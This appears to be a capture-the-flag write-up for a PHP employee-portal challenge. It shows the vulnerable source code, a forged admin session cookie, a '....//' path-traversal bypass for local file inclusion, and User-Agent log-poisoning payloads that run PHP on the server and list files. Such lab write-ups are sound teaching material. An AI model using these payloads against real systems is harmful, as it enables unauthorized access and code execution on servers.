← Back to home

Hack the Madness CTF Round 2 — broken production

Our PHP devs are working on this employee management portal. We have a mock build of the website and you are to pentest the platform for weaknesses. Your goal is to get more privileges and command execution on the server.

We're given a PHP server that looks like this:

Code (php):

1<?php
2spl_autoload_register(function ($name){
3    if (preg_match('/Controller$/', $name))
4    {
5        $name = "controllers/${name}";
6    }
7    else if (preg_match('/Model$/', $name))
8    {
9        $name = "models/${name}";
10    }
11    include_once "${name}.php";
12});
13
14$session  = new SessionHandler();
15$database = new Database('/tmp/challenge.db');
16
17$router = new Router();
18$router->new('GET', '/', function($router) use ($session){
19    if (!$session->isLoggedIn()) 
20    {
21        return header('location: /login');
22    }
23
24    return $router->view('index', ['admin' => $session->isAdmin(), 'username' => $session->getUsername()]);
25});
26
27$router->new('GET', '/login', function($router)  use ($session){
28    if ($session->isLoggedIn()) 
29    {
30        return header('location: /');
31    }
32
33    return $router->view('login');
34});
35
36$router->new('GET', '/register', function($router)  use ($session){
37    if ($session->isLoggedIn()) 
38    {
39        return header('location: /');
40    }
41
42    return $router->view('register');
43});
44
45$router->new('POST', '/auth/login', function($router) use ($database, $session){
46    $user = $database->login($_POST['username'], $_POST['password']);
47    if (!$user) return header('location: /login?msg=Invalid username or password!');
48    $session->login($_POST['username']);
49    header('location: /');
50    exit;
51});
52
53$router->new('POST', '/auth/register', function($router)  use ($database){
54    if ($_POST['username'] === 'admin') return header('location: /register?msg=This user already exists!');
55    $database->register($_POST['username'], $_POST['password']);
56    header('location: /login?msg=The account registered successfully!&reg=true');
57    exit;
58});
59
60
61$router->new('GET', '/logout', function($router)  use ($session){
62    
63    $session->distroy();
64    return header('location: /login');
65    
66});
67
68
69die($router->match());

Looking in views/index.php and SessionHandler.php,

Code (php):

1<?php if ($admin){
2		include_once "admin.php";
3	} else{
4		include_once "user.php";
5	}
6?>

Code (php):

1<?php
2class SessionHandler
3{
4    public function __construct()
5    {
6        if (!empty($_COOKIE['PHPSESSID'])){
7            $this->cookie = $_COOKIE['PHPSESSID'];
8            $this->load();
9        }
10    }
11
12    public function login($username)
13    {
14        setcookie('PHPSESSID', base64_encode(json_encode([
15            'username' => $username
16        ])), time()+1333337, '/');
17    }
18
19    public function load()
20    {
21        $this->data = json_decode(base64_decode($this->cookie));
22    }
23
24    public function isLoggedIn()
25    {
26        return !is_null($this->data->username);
27    }
28
29    public function isAdmin()
30    {
31        return $this->data->username === 'admin';
32    }
33
34    public function getUsername()
35    {
36        return $this->data->username;
37    }
38
39    public function distroy()
40    {
41        unset($_COOKIE['PHPSESSID']);
42        setcookie('PHPSESSID', '', time() - 3600, '/');
43    }
44}

it seems we can pretty easily log in as admin by base64 encoding the string {"username":"admin"}, e.g. something like

Code:

1ewogICJ1c2VybmFtZSI6ICJhZG1pbiIKfQ

Replacing our PHPSESSID cookie with that, we get to the admin dashboard:

image

Looking at the admin view,

Code (php):

1<?php
2
3$utilFile = "tickets.php";
4
5if (isset($_GET['util']))
6	$utilFile = $_GET['util'];
7	$utilFile = str_replace("../","", $utilFile);
8
9$fullPath = '/www/utils/'.$utilFile;
10
11?>
12<!DOCTYPE html>
13<html lang="en">
14<head>
15	<title>Broken Production</title>
16	<meta charset="UTF-8">
17	<meta name="viewport" content="width=device-width, initial-scale=1">
18<!-- ... -->
19</head>
20<body>
21	
22	<body>
23    <div id="wrapper">
24        <!-- Sidebar -->
25        <div id="sidebar-wrapper">
26            <ul class="sidebar-nav">
27                <li class="sidebar-brand">
28                    <a href="#">
29                        Admin Dashboard (Under Construction)
30                    </a>
31                </li>
32                <div class="profile-sidebar">
33                    <!-- SIDEBAR USERPIC -->
34                    <div class="profile-userpic">
35                        <img src="/static/images/makelaris.png" class="img-responsive" alt="">
36                    </div>
37                    <!-- END SIDEBAR USERPIC -->
38                    <!-- SIDEBAR USER TITLE -->
39                    <div class="profile-usertitle">
40                        <div class="profile-usertitle-name">
41                            <?php echo $username ?>
42                        </div>
43                        <div class="profile-usertitle-job">
44                            Administrator
45                        </div>
46                    </div>
47                    <!-- END SIDEBAR USER TITLE -->
48                    <!-- SIDEBAR BUTTONS -->
49                    <div class="profile-userbuttons">
50                        <a href="/logout" class="btn btn-danger btn-xs">Log Out</a>
51                    </div>
52                </div>
53            </ul>
54        </div>
55        <!-- /#sidebar-wrapper -->
56
57        <!-- Page Content -->
58        <div id="page-content-wrapper">
59
60            <div class="container-fluid">
61                <div class="row text-right mb-4">
62	                <div class="col">
63	                    <select class="custom-select" id="gotoPage">
64	                    	<?php 
65	                    		echo "<option value='$utilFile' selected='true'>$utilFile</option>";
66
67	                    		$pages = array("logs.php", "tickets.php", "todo.php");
68	                    		foreach ($pages as $page){
69	                    			if($page != $utilFile){
70	                    				echo "<option value='$page'>$page</option>";
71	                    			}
72	                    		}
73	                    	?>
74						</select>  
75	                </div>    
76	            </div>
77
78                <div class="manage-box">
79                	<?php include_once($fullPath); ?>
80                </div>
81            </div>
82        </div>
83        <!-- /#page-content-wrapper -->
84
85    </div>
86</body>
87<!-- ... -->
88
89</html>

it looks like we get local file inclusion, but with path traversal blocked by a str_replace.

However, we can very easily get around this filter by passing a query param such as ....//....//etc/passwd: the script will delete every instance of ../, leaving us with a file inclusion of /var/www/../../etc/passwd.

We still can't directly include the flag, though; looking at the dockerfile, the flag file's name is randomly generated at build time.

Code (Dockerfile):

1FROM alpine:edge
2
3# Setup usr
4RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
5
6# Install system packages
7RUN apk add --no-cache --update supervisor nginx php7-fpm php7-sqlite3 php7-json
8
9# Configure php-fpm and nginx
10COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
11COPY config/supervisord.conf /etc/supervisord.conf
12COPY config/nginx.conf /etc/nginx/nginx.conf
13
14# Copy challenge files
15COPY challenge /www
16
17# Copy flag
18RUN RND=$(echo $RANDOM | md5sum | head -c 15) && \
19	echo "HTB{f4k3_fl4g_f0r_t3st1ng}" > /flag_${RND}.txt
20
21# Setup permissions
22RUN chown -R www:www /var/lib/nginx
23
24# Expose the port nginx is listening on
25EXPOSE 80
26
27CMD /usr/bin/supervisord -c /etc/supervisord.conf

Then, we can try to get RCE instead. Looking at the nginx config, we can see that the server logs requests to /var/log/nginx/access.log:

Code (conf):

1user www;
2pid /run/nginx.pid;
3error_log /dev/stderr info;
4
5events {
6    worker_connections 1024;
7}
8
9http {
10    server_tokens off;
11    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
12    access_log /var/log/nginx/access.log docker;
13
14    charset utf-8;
15    keepalive_timeout 20s;
16    sendfile on;
17    tcp_nopush on;
18    client_max_body_size 1M;
19
20    include /etc/nginx/mime.types;
21
22    server {
23        listen 80;
24        server_name _;
25
26        index index.php;
27        root /www;
28
29        location / {
30            try_files $uri $uri/ /index.php?$query_string;
31            location ~ \.php$ {
32                try_files $uri =404;
33                fastcgi_pass unix:/run/php-fpm.sock;
34                fastcgi_index index.php;
35                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
36                include fastcgi_params;
37            }
38        }
39    }
40}

(indeed, one of the tabs in the admin dashboard lets you view this file directly:)

image

Thus, we can write arbitrary PHP code to the log file by manipulating the HTTP user agent, and then include this file via LFI for RCE:

Code (js):

1await (await fetch('http://94.237.53.57:54572/', {
2    headers: { 'User-Agent': '<?php phpinfo(); ?>' }
3})).text()

(which requires Firefox, since Chromium disallows setting a custom user agent in fetch).

image

We can use the RCE to give us the flag file name with e.g.

Code (js):

1await (await fetch(window.location, {
2    headers: { 'User-Agent': '<?php echo `ls /`; ?>' }
3})).text() 

and include it with LFI to get the flag:

image